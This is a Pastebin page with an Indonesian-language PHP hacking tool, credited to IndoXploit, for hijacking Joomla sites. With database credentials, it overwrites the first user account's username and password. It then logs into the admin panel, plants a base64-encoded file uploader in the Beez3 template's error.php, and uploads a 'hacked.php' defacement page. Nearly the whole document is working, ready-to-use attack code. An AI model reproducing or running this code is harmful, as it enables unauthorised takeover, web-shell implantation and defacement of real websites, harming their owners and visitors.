Advertisement
Tu5b0l3d

Auto edit user in joomla v.2

Sep 13th, 2015
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.18 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. //Tu5b0l3d
  4.  
  5. //thx to: IndoXploit, Hacker-Newbie.org
  6.  
  7.  
  8.  
  9.     if($_POST['submitt']){
  10.  
  11.  
  12.         $host = $_POST['host'];
  13.  
  14.         $username = $_POST['username'];
  15.  
  16.         $password = $_POST['password'];
  17.  
  18.         $db = $_POST['db'];
  19.  
  20.         $dbprefix = $_POST['dbprefix'];
  21.  
  22.         $user_baru = $_POST['user_baru'];
  23.  
  24.         $password_baru = $_POST['password_baru'];
  25.  
  26.         $tanya = $_POST['tanya'];
  27.  
  28.  
  29.         $prefix = $dbprefix."users";
  30.  
  31.         $pass = md5("$password_baru");
  32.  
  33.         $upda = $db.".".$dbprefix;
  34.         $target = $_POST['target'];
  35.  
  36.  
  37.         mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
  38.  
  39.         mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
  40.  
  41.  $tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  42.     $r=mysql_fetch_array($tampil);
  43.         $id = $r[id];
  44.        
  45.  
  46.          mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
  47.  
  48.        
  49.                 function token($target){
  50.                     $ch2 = curl_init ("$target");
  51.                     curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  52.                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  53.                     curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  54.                     curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
  55.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  56.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  57.                     curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  58.                     curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  59.                     $data = curl_exec ($ch2);
  60.                    
  61.                    
  62.                         preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
  63.                 $token = $token[1];
  64.                 return $token;
  65.             }
  66.            
  67.             if ($tanya == "y"){
  68.                
  69.                 $path = "/administrator/index.php?option=com_templates&task=source.edit&id=NTAzOmVycm9yLnBocA%3D%3D";
  70.                
  71.                 $site = $target.$path;
  72.                 $token1 = token($site);
  73.  
  74.  
  75.                
  76. $post = array(
  77.                     "username" => "$user_baru",
  78.                     "passwd" => "$password_baru",
  79.                     "lang" => "en-GB",
  80.                     "option" => "com_login",
  81.                     "task" => "login",
  82.                     "return" => "aW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9c291cmNlLmVkaXQmaWQ9TlRBek9tVnljbTl5TG5Cb2NBJTNEJTNE",
  83.                     "$token1" => "1",
  84.                     );
  85.  
  86. $ch = curl_init ("$site");
  87. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  88. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  89. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  90. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  91. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  92. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  93. curl_setopt ($ch, CURLOPT_POST, 1);
  94. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  95. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  96. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  97. $masuk = curl_exec ($ch);
  98.  
  99. $token2 = token($site);
  100.  
  101. $upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
  102.  
  103. $post2 = array(
  104.                     "jform[source]" => "$upload",
  105.                     "task" => "source.save",
  106.                     "$token2" => "1",
  107.                     "jform[extension_id]"=> "503",
  108.                     "jform[filename]" => "error.php",
  109.                     );
  110.  
  111. $ch3 = curl_init ("$site");
  112. curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  113. curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
  114. curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  115. curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
  116. curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
  117. curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
  118. curl_setopt ($ch3, CURLOPT_POST, 1);
  119. curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
  120. curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
  121. curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
  122. $masuk2 = curl_exec ($ch3);
  123.  
  124. if(preg_match("#successfully#is", $masuk2)){
  125. echo "uploader udh ketanem...<br>";
  126. echo "lanjut mepes...<br>";
  127.  
  128. $file_pepes = "hacked.php";
  129. $ch4 =curl_init("$target/templates/beez3/error.php");
  130.                             curl_setopt($ch4, CURLOPT_POST, true);
  131.                             curl_setopt($ch4, CURLOPT_POSTFIELDS,
  132.                             array('file'=>"@$file_pepes"));
  133.                             curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
  134.                             curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
  135.                             curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
  136.                             $postResult = curl_exec($ch4);
  137.                             curl_close($ch4);
  138.  
  139.    $ch5 = "$target/k.php";
  140. $file2 = @file_get_contents($ch5);
  141.  
  142.                      
  143.                            
  144.  
  145.                      if(preg_match('#hacked#i', $file2)){
  146.                         echo "<font color='green'>berhasil mepes...</font><br>";
  147.                         echo "$target/k.php<br>";
  148.                        
  149.                     }
  150.                     else{
  151.                         echo "<font color='red'>gagal mepes...</font><br>";
  152.                         echo "coba aja manual: <br>";
  153.                         echo "$target/administrator<br>";
  154.                         echo "username: $user_baru<br>";
  155.                         echo "password: $password_baru<br>";
  156.                     }
  157.                
  158.  
  159.  
  160. }
  161. else{
  162.     echo "failed<br>";
  163.     echo "data udh bener. beda template mungkin :(<br>";
  164.     echo "coba aja manual: <br>";
  165.     echo "$target/administrator<br>";
  166.     echo "username: $user_baru<br>";
  167.     echo "password: $password_baru<br>";
  168. }
  169.  
  170.  
  171.  
  172.  
  173.  
  174.             }
  175.             elseif($tanya == "n"){
  176.             echo "Sukses<br>";
  177.             echo "username: $user_baru<br>";
  178.             echo "password: $password_baru<br>";
  179.  
  180.             }
  181.        
  182.  
  183.         }
  184.  
  185.  
  186.  
  187.         else{
  188.  
  189.             echo '<html>
  190.  
  191.    <head>
  192.  
  193.        <title>Edit user in joomla v.2</title>
  194.  
  195.    </head>
  196.  
  197.  
  198.  
  199.    <body>
  200.  
  201.            <center>
  202.  
  203.                <center
  204.  
  205.                        <h2>Edit user in joomla v.2</h2>
  206.  
  207.                        <table>
  208.  
  209.                            <tr><td><form method="post" action="?action"></td></tr>
  210.  
  211.                            <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
  212.  
  213.                            <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
  214.  
  215.                            <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
  216.  
  217.                            <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
  218.  
  219.                            <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
  220.  
  221.                            <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
  222.  
  223.                            <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
  224.                            <tr><td></td></tr>
  225.                            <tr><td></td></tr>
  226.                          
  227.  
  228.                            <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
  229.                             <tr><td><input type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
  230.  
  231.                            <tr><td><input type="submit" value="Submit" name="submitt"></td></tr>
  232.  
  233.                        </table>
  234.                        *nb: kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
  235.  
  236.            </center>
  237.  
  238.    </body>';
  239.  
  240.         }
  241.  
  242.  
  243.  
  244. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement